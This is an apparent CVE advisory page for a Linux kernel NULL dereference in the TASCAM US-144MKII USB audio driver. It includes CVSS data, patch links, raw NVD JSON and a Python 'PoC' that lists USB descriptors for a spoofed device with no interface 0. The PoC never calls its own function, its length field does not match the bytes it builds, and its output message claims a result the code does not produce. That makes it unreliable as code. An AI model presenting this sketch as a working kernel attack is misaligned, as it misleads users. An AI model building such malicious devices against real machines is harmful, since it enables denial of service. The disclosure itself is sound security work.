CVE-2026-31620

Description

In the Linux kernel, the following vulnerability has been resolved: ALSA: usx2y: us144mkii: fix NULL deref on missing interface 0 A malicious USB device with the TASCAM US-144MKII device id can have a configuration containing bInterfaceNumber=1 but no interface 0. USB configuration descriptors are not required to assign interface numbers sequentially, so usb_ifnum_to_if(dev, 0) returns will NULL, which will then be dereferenced directly. Fix this up by checking the return value properly.

CVSS Details

CVSS Score

4.6

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE

Linux Kernel (修复前版本)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# This PoC simulates the malicious USB device structure.
# It describes a USB configuration with Interface 1 but missing Interface 0.

import usb.core
import usb.util

def create_malicious_device_descriptor():
    """
    Generates a descriptor set for a device claiming to be TASCAM US-144MKII
    but with bInterfaceNumber=1 and no Interface 0.
    """
    # Standard Device Descriptor (simplified)
    device_desc = [
        0x12,       # bLength
        0x01,       # bDescriptorType (Device)
        0x00, 0x02, # bcdUSB (2.0)
        0x00,       # bDeviceClass
        0x00,       # bDeviceSubClass
        0x00,       # bDeviceProtocol
        0x40,       # bMaxPacketSize0
        0x44, 0x06, # idVendor (TASCAM)
        0x49, 0x80, # idProduct (US-144MKII)
        0x00, 0x01, # bcdDevice
        0x01,       # iManufacturer
        0x02,       # iProduct
        0x00,       # iSerialNumber
        0x01        # bNumConfigurations
    ]
    
    # Configuration Descriptor
    config_desc = [
        0x09,       # bLength
        0x02,       # bDescriptorType (Configuration)
        0x20, 0x00, # wTotalLength
        0x01,       # bNumInterfaces (Claiming 1 interface)
        0x01,       # bConfigurationValue
        0x00,       # iConfiguration
        0x80,       # bmAttributes (Bus Powered)
        0x32        # MaxPower (100mA)
    ]
    
    # Interface Descriptor (Skipping Interface 0, using Interface 1)
    # This violates the driver's assumption that interface 0 exists.
    interface_desc = [
        0x09,       # bLength
        0x04,       # bDescriptorType (Interface)
        0x01,       # bInterfaceNumber (1 - Missing 0)
        0x00,       # bAlternateSetting
        0x00,       # bNumEndpoints
        0x01,       # bInterfaceClass (Audio)
        0x01,       # bInterfaceSubClass
        0x00,       # bInterfaceProtocol
        0x00        # iInterface
    ]
    
    return device_desc + config_desc + interface_desc

print("Malicious USB Descriptor Structure Generated.")
print("Connect a device programmed with these descriptors to trigger the NULL pointer dereference in Linux Kernel ALSA.")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-31620
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-31620
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-31620/
[4] VulDB https://vuldb.com/cve/CVE-2026-31620
[5] https://git.kernel.org/stable/c/09b145c1f1331c40dc955c0024d636f25417cddb
[6] https://git.kernel.org/stable/c/48bd344e1040b9f2eb512be73c13f5db83efc191
[7] https://git.kernel.org/stable/c/d04dd67ab10dc978c6c843c6bd6a2a66a9444f51
[8] https://git.kernel.org/stable/c/fbaf29ce00e7bce683f3faf4f2b326bd0a9e6602

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-31620", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-04-24T15:16:41.280", "lastModified": "2026-04-28T14:11:42.397", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nALSA: usx2y: us144mkii: fix NULL deref on missing interface 0\n\nA malicious USB device with the TASCAM US-144MKII device id can have a\nconfiguration containing bInterfaceNumber=1 but no interface 0. USB\nconfiguration descriptors are not required to assign interface numbers\nsequentially, so usb_ifnum_to_if(dev, 0) returns will NULL, which will\nthen be dereferenced directly.\n\nFix this up by checking the return value properly."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 4.6, "baseSeverity": "MEDIUM", "attackVector": "PHYSICAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 0.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-476"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.18", "versionEndExcluding": "6.18.24", "matchCriteriaId": "4C4EAA6A-7949-4B29-BD69-5BB05C4D1A6B"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.14", "matchCriteriaId": "D6A8A074-BBF4-4803-ABED-519A839435BB"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.0", "versionEndExcluding": "7.0.1", "matchCriteriaId": "9B5888AB-7403-4335-89E4-21CC0B48366A"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/09b145c1f1331c40dc955c0024d636f25417cddb", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/48bd344e1040b9f2eb512be73c13f5db83efc191", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/d04dd67ab10dc978c6c843c6bd6a2a66a9444f51", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/fbaf29ce00e7bce683f3faf4f2b326bd0a9e6602", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}